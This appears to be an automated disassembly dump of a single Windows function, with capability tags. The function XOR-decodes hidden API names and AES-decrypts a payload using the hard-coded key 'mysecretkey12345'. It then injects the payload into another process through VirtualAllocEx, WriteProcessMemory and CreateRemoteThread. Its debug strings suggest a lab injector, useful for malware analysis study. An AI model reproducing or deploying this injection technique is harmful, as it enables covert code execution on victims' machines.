Function at 0x1400013e0
Capabilities:
Create new key via cryptacquirecontext
Encode data using xor
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
xor r15d, r15d
mov r14d, r8d
mov rbp, rdx
lea rax, [0x140023011]
mov edx, r15d
lea r11, str.123456789ABC
mov r10d, r15d
mov rsi, rcx
cmp edx, 0xc
mov r9d, r15d
mov r8d, r15d
cmovne r9d, edx
mov edx, r15d
movsxd rcx, r9d
movzx ecx, byte [rcx + r11]
xor byte [rax - 1], cl
lea ecx, [r9 + 1]
cmp r9d, 0xb
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax], cl
lea ecx, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax + 1], cl
lea ecx, [r8 + 1]
cmp r8d, 0xb
mov r8d, r15d
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax + 2], cl
lea ecx, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax + 3], cl
lea ecx, [r8 + 1]
cmp r8d, 0xb
mov r8d, r15d
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax + 4], cl
lea ecx, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax + 5], cl
lea ecx, [r8 + 1]
cmp r8d, 0xb
mov r8d, r15d
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax + 6], cl
lea ecx, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax + 7], cl
lea ecx, [r8 + 1]
cmp r8d, 0xb
mov r8d, r15d
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax + 8], cl
lea ecx, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax + 9], cl
lea ecx, [r8 + 1]
cmp r8d, 0xb
cmovne edx, ecx
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
mov r8d, r15d
xor byte [rax + 0xa], cl
lea rax, [rax + 0xe]
cmp edx, 0xb
lea ecx, [rdx + 1]
mov edx, r15d
cmovne r8d, ecx
movsxd rcx, r8d
movzx ecx, byte [rcx + r11]
xor byte [rax - 3], cl
lea ecx, [r8 + 1]
cmp r8d, 0xb
cmovne edx, ecx
add r10d, 0xe
movsxd rcx, edx
movzx ecx, byte [rcx + r11]
xor byte [rax - 2], cl
inc edx
cmp r10d, 0xe
jb 0x140001410
mov ecx, r15d
lea r8, [0x140023021]
mov r9d, r15d
nop dword [rax]
nop dword [rax + rax]
cmp ecx, 0xc
mov edx, r15d
cmovne edx, ecx
mov ecx, r15d
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
mov edx, r15d
xor byte [r8 + 0xa], al
lea r8, [r8 + 0x12]
cmp ecx, 0xb
lea eax, [rcx + 1]
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 7], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 6], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 5], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 4], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 3], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
add r9d, 0x12
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 2], al
inc ecx
cmp r9d, 0x12
jb 0x140001590
mov ecx, r15d
lea r8, [0x140023039]
mov r9d, r15d
nop dword [rax]
cmp ecx, 0xc
mov edx, r15d
cmovne edx, ecx
mov ecx, r15d
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
mov edx, r15d
xor byte [r8 + 0xa], al
lea r8, [r8 + 0x12]
cmp ecx, 0xb
lea eax, [rcx + 1]
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 7], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 6], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 5], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, r15d
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 4], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, r15d
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 3], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
add r9d, 0x12
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 2], al
inc ecx
cmp r9d, 0x12
jb 0x140001760
lea rcx, str._nDecrypted_Function_Names:_n
call fcn.140001e60
lea rdx, str.g_A__W_yU___tJ
lea rcx, str.VirtualAllocEx:__s_n
call fcn.140001e60
lea rdx, str.f_Z_PfEWZ_10W_GO
lea rcx, str.WriteProcessMemory:__s_n
call fcn.140001e60
lea rdx, str.r_VUASe_T.6eZAQTR
lea rcx, str.CreateRemoteThread:__s_n
call fcn.140001e60
lea rcx, [0x140023298]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.g_A__W_yU___tJ
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1400232a8]
mov qword [0x1400250d8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.f_Z_PfEWZ_10W_GO
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov qword [0x1400250d0], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.r_VUASe_T.6eZAQTR
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str._nFunction_Pointers:_n
mov qword [0x1400250c8], rax
call fcn.140001e60
mov rdx, qword [0x1400250d8]
lea rcx, str.VirtualAllocEx:_0x_p_n
call fcn.140001e60
mov rdx, qword [0x1400250d0]
lea rcx, str.WriteProcessMemory:_0x_p_n
call fcn.140001e60
mov rdx, qword [0x1400250c8]
lea rcx, str.CreateRemoteThread:_0x_p_n
call fcn.140001e60
lea rcx, str._nyou_entered_into_shellcodeInjection_section:_n_n
call fcn.140001e60
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x20
mov r8, r14
xor edx, edx
mov rcx, rsi
call qword [0x1400250d8]
mov r8, rbp
lea rdx, str.payload_addr
lea rcx, [0x140023378]
mov rbx, rax
call fcn.140001e60
mov r8, rbx
lea rdx, str.alloc_mem_addr
lea rcx, str.__20s_:_0x__016p_n
call fcn.140001e60
lea rcx, str._n_1__Press_Enter_to_Decrypt_XOR_Payload_n
call fcn.140001e60
call fcn.140005dd8
mov r9d, 0x18
mov dword [rsp + 0x90], r14d
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x98]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001b63
mov rcx, qword [rsp + 0x98]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001b63
mov rcx, qword [rsp + 0x40]
lea rdx, str.mysecretkey12345_
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov r8, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
mov rcx, qword [rsp + 0x98]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbp
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
mov rcx, qword [rsp + 0x98]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov r9, r14
mov qword [rsp + 0x20], r15
mov r8, rbp
mov rdx, rbx
mov rcx, rsi
call qword [0x1400250d0]
lea rcx, str._2_done__WriteProcessMemoryFunc
call fcn.140001e60
mov qword [rsp + 0x30], r15
mov r9, rbx
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rsi
call qword [0x1400250c8]
mov rbx, rax
test rax, rax
je 0x140001bc9
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140001bce
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret